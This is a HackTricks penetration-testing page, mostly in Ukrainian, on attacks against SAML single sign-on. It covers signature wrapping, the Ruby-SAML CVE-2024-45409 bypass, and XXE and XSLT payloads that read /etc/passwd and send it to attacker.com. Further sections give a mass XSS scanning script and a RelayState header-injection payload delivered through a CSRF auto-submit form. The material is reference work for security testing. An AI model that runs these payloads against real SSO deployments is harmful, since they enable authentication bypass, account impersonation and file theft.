SAML Attacks

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

SAML Basics

Інструмент

SAMLExtractor: Інструмент, який може приймати один URL або список URL і повертає SAML consume URL.

XML round-trip

В XML підписана частина XML зберігається в пам’яті, потім виконується певне кодування/декодування і перевіряється підпис. Ідеально, що це кодування/декодування не повинно змінювати дані, але в описаному сценарії перевіряні дані та оригінальні дані можуть не співпадати.

Наприклад, перевірте наступний код:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Запуск програми проти REXML 3.2.4 або старіших версій призведе натомість до такого виводу:

First child in original doc: Y
First child after round-trip: Z

Це те, як REXML побачив оригінальний XML-документ з програми вище:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

А ось як він виглядав після одного проходу парсингу та серіалізації:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Для детальнішої інформації про вразливість та способи її експлуатації:

XML Signature Wrapping Attacks

У XML Signature Wrapping attacks (XSW) зловмисники експлуатують вразливість, що виникає, коли XML-документи обробляються в два окремі етапи: signature validation та function invocation. Ці атаки передбачають зміну структури XML-документа. Конкретно, атакувальник вставляє підроблені елементи, які не порушують дійсність XML Signature. Мета такої маніпуляції — створити розбіжність між елементами, які аналізує application logic, і тими, які перевіряє signature verification module. Внаслідок цього, хоча XML Signature технічно залишається валідним і проходить перевірку, application logic обробляє фальшиві елементи. В результаті атакувальник ефективно обходить integrity protection та origin authentication XML Signature, дозволяючи вставляти довільний вміст без виявлення.

Наступні атаки базуються на this blog post та this paper. Перегляньте їх для детальніших пояснень.

XSW #1

  • Strategy: Додається новий кореневий елемент, що містить підпис.
  • Implication: Валідатор може сплутати легітимний “Response -> Assertion -> Subject” з атакованим “evil new Response -> Assertion -> Subject”, що призводить до проблем цілісності даних.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Використовується detached signature замість enveloping signature.
  • Implication: “Evil” структура, схожа на XSW #1, має на меті ввести в оману бізнес-логіку після перевірки цілісності.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: Зловмисна Assertion створюється на тому ж рівні ієрархії, що й оригінальна assertion.
  • Implication: Мета — заплутати бізнес-логіку, щоб вона використала шкідливі дані.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: Оригінальна Assertion стає дочірньою для дубльованої (evil) Assertion.
  • Implication: Подібно до XSW #3, але змінює структуру XML більш агресивно.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Ані Signature, ані оригінальна Assertion не відповідають стандартним конфігураціям (enveloped/enveloping/detached).
  • Implication: Скопійована Assertion охоплює Signature, змінюючи очікувану структуру документа.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Схоже розташування вставки як у XSW #4 та #5, але з довільною модифікацією.
  • Implication: Скопійована Assertion охоплює Signature, яка потім охоплює оригінальну Assertion, створюючи вкладену оманливу структуру.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: Вставляється елемент Extensions з копійованою Assertion як дочірнім елементом.
  • Implication: Це експлуатує менш сувору схему елементу Extensions, щоб обійти контрзаходи валідації схеми, особливо в бібліотеках типу OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Використовує інший менш суворий XML-елемент для варіанту атаки.
  • Implication: Оригінальна Assertion стає дочірньою менш суворого елементу, інвертуючи структуру, використану в XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Ви можете використовувати розширення Burp SAML Raider для парсингу запиту, застосування будь-якої XSW-атаки на ваш вибір і її запуску.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: Якщо Service Provider використовує вразливий Ruby-SAML (наприклад, GitLab SAML SSO), атакуючий, який може отримати any IdP-signed SAMLResponse, може forgе a new assertion і аутентифікуватися як будь-який користувач.

High-level workflow (signature-wrapping style bypass):

  1. Захопіть legitimate SAMLResponse у SSO POST (Burp або інструменти розробника браузера). Вам потрібна будь-яка IdP-підписана відповідь для цільового SP.
  2. Розкодуйте транспортне кодування до raw XML (типовий порядок): URL decode → Base64 decode → raw inflate.
  3. Використайте PoC (наприклад, скрипт Synacktiv) щоб patch IDs/NameID/conditions та rewrite signature references/digests, так щоб валідація все ще проходила, поки SP споживає поля assertion, контрольовані атакуючим.
  4. Повторно закодуйте змінений XML (raw deflate → Base64 → URL encode) і відправте його на SAML callback endpoint. Якщо успішно, SP увійде в систему як обраний користувач.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Якщо ви не знаєте, які саме атаки є XXE, будь ласка, прочитайте наступну сторінку:

XXE - XEE - XML External Entity

SAML Responses є deflated and base64 encoded XML documents і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи XML-структурою SAML Response, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як можна візуалізувати таку атаку:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Інструменти

Ви також можете використовувати розширення Burp SAML Raider щоб згенерувати POC з SAML-запиту для перевірки можливих XXE та SAML вразливостей.

Також перегляньте цю доповідь: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT через SAML

Для отримання додаткової інформації про XSLT перейдіть до:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) можна використовувати для перетворення XML-документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що XSLT-трансформації виконуються до перевірки цифрового підпису. Це означає, що атака може бути успішною навіть без дійсного підпису; достатньо самопідписаного або недійсного підпису, щоб продовжити.

Тут ви можете знайти POC для перевірки таких вразливостей; на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Інструмент

Ви також можете використовувати розширення Burp SAML Raider для генерації POC з SAML-запиту, щоб перевірити можливі вразливості XSLT.

Перегляньте також цю доповідь: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, перевірка підпису може не відбуватися, що робить систему вразливою. Це можна протестувати, змінивши вміст, який зазвичай перевіряється підписом.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Інструмент

Ви також можете використовувати розширення Burp SAML Raider. Перехопіть SAML Response і натисніть Remove Signatures. При цьому всі елементи Signature будуть видалені.

Після видалення підписів, дозвольте запиту пройти до цілі. Якщо підпис не вимагається службою

Certificate Faking

Certificate Faking

Certificate Faking — це техніка для перевірки, чи Service Provider (SP) належним чином перевіряє, що SAML Message підписано довіреним Identity Provider (IdP). Вона полягає у використанні самопідписаного сертифіката для підпису SAML Response або Assertion, що допомагає оцінити процес перевірки довіри між SP та IdP.

How to Conduct Certificate Faking

Наступні кроки описують процес із використанням розширення Burp SAML Raider:

  1. Перехопіть SAML Response.
  2. Якщо у response є підпис, надішліть сертифікат у SAML Raider Certs, використавши кнопку Send Certificate to SAML Raider Certs.
  3. На вкладці SAML Raider Certificates виберіть імпортований сертифікат і натисніть Save and Self-Sign, щоб створити самопідписану копію оригінального сертифіката.
  4. Поверніться до перехопленого запиту в Burp’s Proxy. Виберіть новий самопідписаний сертифікат у випадаючому списку XML Signature.
  5. Видаліть наявні підписи за допомогою кнопки Remove Signatures.
  6. Підпишіть повідомлення або assertion новим сертифікатом, використавши (Re-)Sign Message або (Re-)Sign Assertion відповідно.
  7. Перешліть підписане повідомлення. Успішна автентифікація свідчить про те, що SP приймає повідомлення, підписані вашим самопідписаним сертифікатом, що вказує на потенційні вразливості у процесі валідації SAML-повідомлень.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion та Service Provider Target Confusion передбачають перевірку того, чи Service Provider правильно перевіряє призначеного отримувача відповіді. По суті, Service Provider має відхилити authentication response, якщо вона була призначена іншому провайдеру. Критичним елементом тут є поле Recipient, яке знаходиться всередині елементу SubjectConfirmationData у SAML Response. Це поле вказує URL, куди має бути надіслано Assertion. Якщо фактичний отримувач не збігається з очікуваним Service Provider, Assertion має вважатися недійсним.

Як це працює

Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була можливою, мають бути виконані певні умови. По-перше, має існувати дійсний обліковий запис на Service Provider (у тексті — SP-Legit). По-друге, цільовий Service Provider (SP-Target) має приймати токени від того самого Identity Provider, що обслуговує SP-Legit.

За виконання цих умов процес атаки простий. Встановлюється автентична сесія з SP-Legit через спільного Identity Provider. SAML Response від Identity Provider до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, перенаправляється на SP-Target. Атака вважається успішною, якщо SP-Target приймає Assertion і надає доступ до ресурсів під тим самим ім’ям облікового запису, що використовувався для SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS у функціональності Logout

Оригінальне дослідження доступне за this link.

Під час процесу directory brute forcing було виявлено logout page за адресою:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Після переходу за цим посиланням сталася переадресація на:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Це виявило, що параметр base приймає URL. Беручи це до уваги, виникла ідея замінити URL на javascript:alert(123);, щоб спробувати ініціювати XSS (Cross-Site Scripting) атаку.

Масове використання

From this research:

Інструмент SAMLExtractor був використаний для аналізу піддоменів uberinternal.com на предмет доменів, які використовують ту саму бібліотеку. Пізніше був розроблений скрипт, націлений на сторінку oidauth/prompt. Цей скрипт перевіряє на XSS (Cross-Site Scripting), вводячи дані та перевіряючи, чи відображаються вони у відповіді. У випадках, коли введені дані дійсно відображаються, скрипт позначає сторінку як вразливу.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Деякі SAML SSO endpoints декодують RelayState і потім відображають його у відповіді без санітизації. Якщо ви можете інжектувати символи нового рядка і перезаписати заголовок відповіді Content-Type, ви можете змусити браузер відрендерити HTML під контролем атакуючого, досягаючи reflected XSS.

  • Idea: зловживати response-splitting через інжекцію нового рядка в відображуваному RelayState. Див. також загальні зауваження в CRLF injection.
  • Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.

Generalized steps:

  1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode the sequence (example):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Send a POST with a syntactically valid SAMLResponse and the crafted RelayState to the SSO endpoint (e.g., /cgi/logout).
  2. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Схема доставки CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Чому це працює: сервер декодує RelayState і включає його у відповідь таким чином, що це дозволяє newline injection, даючи змогу зловмиснику впливати на заголовки та тіло. Примусове встановлення Content-Type: text/html змушує браузер відобразити контрольований зловмисником HTML з тіла відповіді.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks